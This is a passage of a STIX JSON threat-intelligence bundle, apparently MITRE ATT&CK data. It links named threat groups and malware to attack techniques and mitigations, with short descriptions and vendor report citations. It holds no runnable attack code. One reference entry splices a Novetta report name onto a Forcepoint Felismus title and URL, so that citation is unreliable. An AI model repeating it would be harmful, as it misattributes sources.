"relationship--91926031-c1b4-462b-8597-20b10e7211ef", + "external_references": [ + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + }, + { + "source_name": "DOJ FIN7 Aug 2018", + "description": "Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018.", + "url": "https://www.justice.gov/opa/press-release/file/1084361/download" + } + ], + "modified": "2019-06-30T23:13:18.234Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-27T00:09:36.949Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.041Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d26b3aeb-972f-471e-ab59-dc1ee2aa532e", + "external_references": [ + { + "source_name": "ESET Sednit Part 3", + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + } + ], + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has run tasklist on a victim's machine.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d8e375a3-f455-4c66-bc63-251f320ec8b1", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "modified": "2019-07-17T16:17:29.493Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) establishes a backdoor over HTTP.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0f76d408-be8a-478e-8a5a-aab1d1f96572", + "external_references": [ + { + "source_name": "PaloAlto Patchwork Mar 2018", + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT29](https://attack.mitre.org/groups/G0016) added Registry Run keys to establish persistence.", + "type": "relationship", + "created": "2017-05-31T21:33:27.049Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--343d285a-e910-487b-8e85-dc87cdb63be3", + "external_references": [ + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "modified": "2019-07-25T14:25:53.037Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used encoded PowerShell scripts uploaded to [CozyCar](https://attack.mitre.org/software/S0046) installations to download and install [SeaDuke](https://attack.mitre.org/software/S0053), as well as to evade defenses.", + "type": "relationship", + "created": "2017-05-31T21:33:27.048Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--00ce7309-114c-45a1-b905-f7a973cb3837", + "external_references": [ + { + "source_name": "Symantec Seaduke 2015", + "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.", + "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory" + }, + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "modified": "2019-07-25T14:25:53.065Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) uses a modified version of pentesting script wmiexec.vbs, which logs into a remote machine using WMI.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--04203d88-5fe1-4e63-be65-51a17705716b", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "Github AD-Pentest-Script", + "description": "Twi1ight. (2015, July 11). AD-Pentest-Script - wmiexec.vbs. Retrieved June 29, 2017.", + "url": "https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs" + } + ], + "modified": "2019-06-28T15:24:31.758Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) gathered information and files from local directories for exfiltration.", + "type": "relationship", + "created": "2017-05-31T21:33:27.034Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8c763d80-4c50-4ebd-b2c6-3cad22c55bfa", + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + } + ], + "modified": "2019-04-22T15:08:48.239Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) collects files from the local system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--119cfc44-4018-4ce0-b223-b0f353d1c113", + "external_references": [ + { + "source_name": "McAfee Bankshot", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T18:10:06.537Z", + "type": "relationship", + "id": "relationship--6e466b8c-5798-4976-becb-9237f6154aab", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-10-17T00:14:20.652Z", + "source_ref": "course-of-action--676975b9-7e8e-463d-a31e-4ed2ecbfed81", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:41:40.116Z", + "type": "relationship", + "id": "relationship--142800a5-62e9-48e9-97ef-186cfb68ffa1", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.028Z", + "source_ref": "course-of-action--9e57c770-5a39-49a2-bb91-253ba629e3ac", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-11T13:53:06.089Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ccf8b65-7f3e-4db7-933c-0a9bfae9602e", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "malware--d1183cb9-258e-4f2f-8415-50ac8252c49e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) sent emails to victims with malicious Microsoft Office documents attached.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7a2f70b7-7b6e-4c05-8f71-42a494b055ce", + "external_references": [ + { + "source_name": "Unit 42 Gorgon Group Aug 2018", + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "modified": "2019-07-25T14:56:46.618Z", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:35:33.793Z", + "type": "relationship", + "id": "relationship--36adf5c8-2426-41e1-807d-f4d7958b9d54", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--84d633a4-dd93-40ca-8510-40238c021931", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to stage files for exfiltration in a single location.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--87ddc052-0933-4722-9fb2-4653c4a3663c", + "external_references": [ + { + "source_name": "aptsim", + "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.", + "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html" + } + ], + "modified": "2019-04-29T18:01:20.162Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) created accounts disguised as legitimate backup and service accounts as well as an email administration account.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--558d3835-3bcc-4c07-92b1-626a89d79e76", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "modified": "2019-03-22T20:13:49.252Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Patchwork](https://attack.mitre.org/groups/G0040) payload has searched all fixed drives on the victim for files matching a specified list of extensions.", + "type": "relationship", + "created": "2017-05-31T21:33:27.077Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0e89ca75-b73e-476e-b56d-1cf815fa7868", + "external_references": [ + { + "source_name": "Cymmetria Patchwork", + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2019-07-11T13:53:05.558Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has compressed data into password-protected RAR archives prior to exfiltration.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--99e9583f-433d-437d-bf37-7ea2b3f1b613", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.031Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) added \"junk data\" to each encoded string, preventing trivial decoding without knowledge of the junk removal algorithm. Each implant was given a \"junk length\" value when created, tracked by the controller software to allow seamless communication but prevent analysis of the command protocol on the wire.", + "type": "relationship", + "created": "2017-05-31T21:33:27.038Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dc10e96f-1d3c-4ab9-8df6-acdc8238ec6c", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "modified": "2019-07-27T00:09:35.333Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT19](https://attack.mitre.org/groups/G0073) used an HTTP malware variant and a Port 22 malware variant to collect the MAC address and IP address from the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--322703cc-c8f9-4046-8a61-e165a2d11bc7", + "external_references": [ + { + "source_name": "Unit 42 C0d0so0 Jan 2016", + "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/" + } + ], + "modified": "2019-04-25T11:39:52.002Z", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used batch scripts to enumerate administrators in the environment.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d848b82c-1b72-4054-b4c1-f31d6d09af6c", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "modified": "2019-03-22T20:13:49.266Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) performs service discovery using net start commands.", + "type": "relationship", + "created": "2017-05-31T21:33:27.033Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7b529102-f95c-4ca1-a5c4-5a3497ab3674", + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + } + ], + "modified": "2019-04-22T15:08:48.241Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:28:48.461Z", + "type": "relationship", + "id": "relationship--4b12c645-96fc-45ac-b515-8333d6e254ef", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.017Z", + "source_ref": "course-of-action--d0fcf37a-b6c4-4745-9c43-4fcdb8bfc88e", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) uses a tool to infect connected USB devices and transmit itself to air-gapped computers when the infected USB device is inserted.", + "type": "relationship", + "created": "2017-05-31T21:33:27.039Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--edaf0203-4959-4e1e-9240-3d20cf0f3b6a", + "external_references": [ + { + "source_name": "Microsoft SIR Vol 19", + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + } + ], + "modified": "2019-07-27T00:09:35.362Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T18:05:00.559Z", + "type": "relationship", + "id": "relationship--02f28dfb-4e72-47e2-a390-2ec3fa67d26d", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--3e7018e9-7389-48e7-9208-0bdbcbba9483", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d3046a90-580c-4004-8208-66915bc29830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:26:15.388Z", + "type": "relationship", + "id": "relationship--c593abb1-54ce-4196-a11f-f1dd65fed9aa", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.030Z", + "source_ref": "course-of-action--82d8e990-c901-4aed-8596-cc002e7eb307", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has used a tool that can obtain info about local and global group users, power users, and administrators.", + "type": "relationship", + "created": "2017-05-31T21:33:27.057Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9a615c7f-986d-4769-bea6-af9ffe0d575e", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "modified": "2019-04-29T18:01:20.179Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) is capable of starting a process using CreateProcess.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cc2099fb-4785-4884-b274-4f3e8a3b8d99", + "external_references": [ + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "relationship_type": "uses", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) has used various forms of spearphishing in attempts to get users to open links or attachments.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--87f59d5f-cfda-4e5a-aa0d-6a7cb395528b", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "modified": "2019-03-22T20:13:49.283Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) keylogger KiloAlfa obtains user tokens from interactive sessions to execute itself with API call CreateProcessAsUserA under that user's context.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1a40426a-355c-4d7e-b51c-e95a102b31e2", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Tools", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Tools Report. 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Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", + "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has sent spearphishing emails containing links to .hta files.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--639e7b8d-57d7-4c1d-8f42-1496606ea666", + "external_references": [ + { + "source_name": "FireEye APT33 Sept 2017", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + }, + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "modified": "2019-06-28T15:05:33.081Z", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "relationship_type": "uses", + "target_ref": 